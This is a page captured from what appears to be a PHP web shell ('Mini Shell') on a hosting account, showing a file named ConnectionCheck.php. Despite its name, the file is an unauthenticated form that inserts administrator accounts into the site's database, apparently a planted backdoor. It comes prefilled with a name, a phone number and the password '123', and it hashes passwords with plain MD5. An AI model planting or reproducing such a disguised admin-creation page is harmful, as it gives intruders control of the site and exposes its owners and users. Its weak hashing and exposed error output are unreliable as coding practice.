Mini Shell

Direktori : /home/mhcadmin/public_html/
Upload File :
Current File : /home/mhcadmin/public_html/ConnectionCheck.php

<?php
// Enable error reporting
error_reporting(E_ALL);
ini_set('display_errors', 1);
$rootPath = realpath(dirname(__FILE__) . '/..');
require_once 'config/config.php'; // Use clean config file


$conn = mysqli_connect($host, $username, $password, $database);

if (!$conn) {
    die("Database connection failed: " . mysqli_connect_error());
}

// Check if form was submitted
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    // Get form data
    $full_name = mysqli_real_escape_string($conn, $_POST['full_name']);
    $user_name = mysqli_real_escape_string($conn, $_POST['user_name']);
    $phone = mysqli_real_escape_string($conn, $_POST['phone']);
    $raw_password = $_POST['password'];
    $hashed_password = md5($raw_password); // Hash the password
    $admin_type = mysqli_real_escape_string($conn, $_POST['admin_type']);
    $user_access = mysqli_real_escape_string($conn, $_POST['user_access']);
    
    // Insert query
    $sql = "INSERT INTO admin_accounts (Full_Name, user_name, Phone, passwd, admin_type, UserAccessName) 
            VALUES ('$full_name', '$user_name', '$phone', '$hashed_password', '$admin_type', '$user_access')";
    
    if (mysqli_query($conn, $sql)) {
        echo "<div style='color: green; padding: 10px; background: #d4edda; border: 1px solid #c3e6cb;'>
                Record inserted successfully! User ID: " . mysqli_insert_id($conn) . "
              </div>";
    } else {
        echo "<div style='color: red; padding: 10px; background: #f8d7da; border: 1px solid #f5c6cb;'>
                Error: " . mysqli_error($conn) . "
              </div>";
    }
}

// Display form
?>
<!DOCTYPE html>
<html>
<head>
    <title>Add Admin Account</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
        .container { max-width: 500px; }
        .form-group { margin-bottom: 15px; }
        label { display: block; margin-bottom: 5px; font-weight: bold; }
        input, select { width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; }
        button { background: #007bff; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }
        button:hover { background: #0056b3; }
    </style>
</head>
<body>
    <div class="container">
        <h2>Add New Admin Account</h2>
        <form method="POST">
            <div class="form-group">
                <label>Full Name:</label>
                <input type="text" name="full_name" value="Atie konda" required>
            </div>
            <div class="form-group">
                <label>Username:</label>
                <input type="text" name="user_name" value="Atie" required>
            </div>
            <div class="form-group">
                <label>Phone:</label>
                <input type="text" name="phone" value="0999473454" required>
            </div>
            <div class="form-group">
                <label>Password:</label>
                <input type="password" name="password" value="123" required>
                <small>Will be stored as MD5 hash</small>
            </div>
            <div class="form-group">
                <label>Admin Type:</label>
                <input type="text" name="admin_type" value="Student" required>
            </div>
            <div class="form-group">
                <label>User Access:</label>
                <input type="text" name="user_access" value="System Setup Only" required>
            </div>
            <button type="submit">Insert Record</button>
        </form>
    </div>
</body>
</html>

<?php
// Close connection
mysqli_close($conn);
?>